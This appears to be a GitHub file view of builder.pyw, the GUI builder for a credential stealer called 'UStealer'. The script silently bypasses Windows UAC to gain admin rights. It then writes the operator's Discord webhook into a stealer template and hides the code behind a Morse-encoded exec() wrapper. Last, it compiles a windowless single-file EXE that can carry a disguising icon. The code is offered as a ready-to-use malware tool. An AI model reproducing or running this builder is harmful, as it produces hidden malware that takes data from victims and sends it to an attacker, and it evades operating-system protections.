-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbuilder.pyw
117 lines (90 loc) · 3.64 KB
/
builder.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import sys
from winpwnage.functions.uac.uacMethod1 import *
from assets.encrypt import *
def IsAdmin() -> bool:
return ctypes.windll.shell32.IsUserAnAdmin() == 1
if not IsAdmin():
uacMethod1(sys.argv)
# execute code
import os
import customtkinter as ctk
from tkinter import messagebox, filedialog
import bz2
import re
ctk.set_appearance_mode("dark")
app = ctk.CTk()
app.title(f"UStealer Builder ~ Version 1.3")
app.geometry("400x240")
app.resizable(False, False)
app.update_idletasks()
screen_width = app.winfo_screenwidth()
screen_height = app.winfo_screenheight()
x = (screen_width - app.winfo_reqwidth()) // 2
y = (screen_height - app.winfo_reqheight()) // 2
app.geometry(f"+{x}+{y}")
def validate_webhook(webhook):
return 'api/webhooks' in webhook
def extract_imports_from_code(pycode):
import_pattern = re.compile(r'^\s*(import|from)\s+[\w\.]+', re.MULTILINE)
imports = import_pattern.findall(pycode)
return '\n'.join([line for line in pycode.splitlines() if import_pattern.match(line)])
def extract_imports_from_code(pycode):
import_pattern = re.compile(r'^\s*(import|from)\s+[\w\.]+', re.MULTILINE)
imports = [line for line in pycode.splitlines() if import_pattern.match(line)]
return '\n'.join(imports)
def string_to_binary(s):
return ''.join(format(byte, '08b') for byte in s.encode('utf-8'))
def obf_binary(code):
a = texttomorse(code)
obfuscated_code = f"""
from assets.encrypt import *
exec(morsetotext({repr(a)}))
"""
return obfuscated_code
def obfuscate_code(code):
ax = extract_imports_from_code(code)
code = obf_binary(code)
return ax + "\n\n" + code
def replace_webhook(webhook):
file_path = r'assets\stealer.py'
old_webhook = 'YOUR_WEBHOOK_URL'
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()
# Replace old webhook with new webhook
updated_content = content.replace(old_webhook, webhook)
with open("main.py", 'w', encoding='utf-8') as file:
file.write(obfuscate_code(updated_content))
def select_icon():
icon_path = filedialog.askopenfilename(filetypes=[("Icon files", "*.ico")])
return icon_path
def add_icon():
response = messagebox.askquestion("Add Icon", "Do you want to add an icon?")
return response == 'yes'
def build_exe():
webhook = entry.get()
if validate_webhook(webhook):
replace_webhook(webhook)
icon_choice = add_icon()
if icon_choice:
icon_path = select_icon()
if not icon_path:
messagebox.showerror("Error", "No icon file selected.")
return
else:
icon_option = f' --icon="{icon_path}"'
else:
icon_option = ''
# Customizing PyInstaller build command
dist_path = os.path.join(os.getcwd(), "dist")
build_command = f'pyinstaller main.py --noconsole --onefile{icon_option}'
os.system(build_command)
messagebox.showinfo("Build Success", "Build process completed successfully.\nDon't forget to star the repo and join Telegram channel to support and receive lastest updates!")
else:
messagebox.showerror("Error", "Invalid webhook URL!")
label = ctk.CTkLabel(master=app, text="UStealer", text_color=("white"), font=("Helvetica", 26))
label.place(relx=0.5, rely=0.2, anchor=ctk.CENTER)
entry = ctk.CTkEntry(master=app, width=230, height=30, placeholder_text="Enter your webhook")
entry.place(relx=0.5, rely=0.4, anchor=ctk.CENTER)
button = ctk.CTkButton(master=app, text="Build EXE", text_color="white", hover_color="#363636", fg_color="black", command=build_exe)
button.place(relx=0.5, rely=0.6, anchor=ctk.CENTER)
app.mainloop()